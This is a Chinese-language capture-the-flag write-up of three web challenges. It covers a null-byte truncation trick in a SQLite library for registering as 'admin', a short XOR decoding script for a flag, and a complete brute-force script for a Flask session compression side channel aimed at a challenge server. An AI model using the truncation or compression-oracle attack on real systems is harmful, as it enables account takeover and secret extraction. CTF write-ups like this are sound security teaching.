目录
arclbroth
lucky-flag
whack-a-mole
arclbroth
看到username为admin能拿到flag
但不能重复注册存在的用户
这题是secure-sqlite这个库的问题,底层用的是C,没处理好\0字符截断的问题
(在 Node.js 中,由于其字符串表示方式,字符串可能包含空字节。然而,在 C 语言中,字符串以空字节终止。)
插入数据库的时候只会保留\0前的admin
带着这个session去访问
成功截断
lucky-flag
很夸张了
看下main.js,发现flag的加密逻辑
让gpt写个脚本解一下
import json
# 原始加密字符串
enc = r'"\u000e\u0003\u0001\u0016\u0004\u0019\u0015V\u0011=\u000bU=\u000e\u0017\u0001\t=R\u0010=\u0011\t\u000bSS\u001f"'
# 1. 解析 JSON(类似 JavaScript 的 JSON.parse)
parsed = json.loads(enc)
# 2. 对每个字符进行 XOR 0x62 运算
rw = []
for c in parsed:
xor_result = ord(c) ^ 0x62 # ord() 获取 Unicode 码点
rw.append(xor_result)
# 3. 将 ASCII 码转换为字符并拼接
flag = ''.join([chr(x) for x in rw])
print(f"Flag: {flag}")
whack-a-mole
password 是 Flag的变形(每个字符ASCII码 + funny_num mod 128)
要求username等于变形后的password
考察flask的session机制
客户端 session 导致的安全问题 | 离别歌
flask生成的session会对相同字符串进行zlip压缩(这里则是username为password的子串时)
通过session长度差异进行侧信道攻击
爆破脚本
import string
import requests
# 目标网站基础URL
BASE_URL = "http://27.25.151.98:10001/"
# 可能的flag字符(字母、数字、花括号、下划线)
ALLOWED_CHARS = string.ascii_letters + string.digits + "{}_"
# 随机填充字符串,用于调整cookie长度
RANDOM_PADDING = "q3aUrDpfmRzMzABTCILvXCOA3Us"
# 创建一个会话对象,维持登录状态
session = requests.Session()
def get_session_length(guess_username):
"""提交用户名猜测,返回加密后的session cookie长度"""
response = session.post(
BASE_URL.rstrip("/") + "/login",
data={"username": guess_username, "funny": "0"},
allow_redirects=False,
)
encrypted_session = session.cookies["session"]
return len(encrypted_session)
def construct_guess(current_prefix, test_char, padding_length):
"""构造猜测字符串:重复 (current_prefix + test_char) + 填充"""
repeated_guess = (current_prefix + test_char) * 16 # 16次重复以提高压缩率
padded_guess = repeated_guess + RANDOM_PADDING[:padding_length]
return padded_guess
def find_next_char(current_flag_prefix):
"""尝试找出下一个正确的flag字符"""
for padding in range(16): # 尝试不同的填充长度(0-15)
char_results = []
for char in ALLOWED_CHARS:
guess = construct_guess(current_flag_prefix, char, padding)
session_length = get_session_length(guess)
char_results.append((session_length, char))
# 按session长度排序,最短的可能包含flag片段
char_results.sort()
# 如果最短长度的字符唯一,则认为是正确的
if char_results[0][0] != char_results[1][0]:
return char_results[0][1], padding
return None, None # 如果没有找到,返回None
def main():
current_flag = "lac" # 初始已知的flag前缀
best_padding = 0 # 记录当前最优的填充长度
while "}" not in current_flag: # 直到flag结束(以 } 结尾)
next_char, best_padding = find_next_char(current_flag)
if next_char is None:
print("无法找到下一个字符!")
break
current_flag += next_char
print(current_flag) # 输出当前flag猜测
if __name__ == "__main__":
main()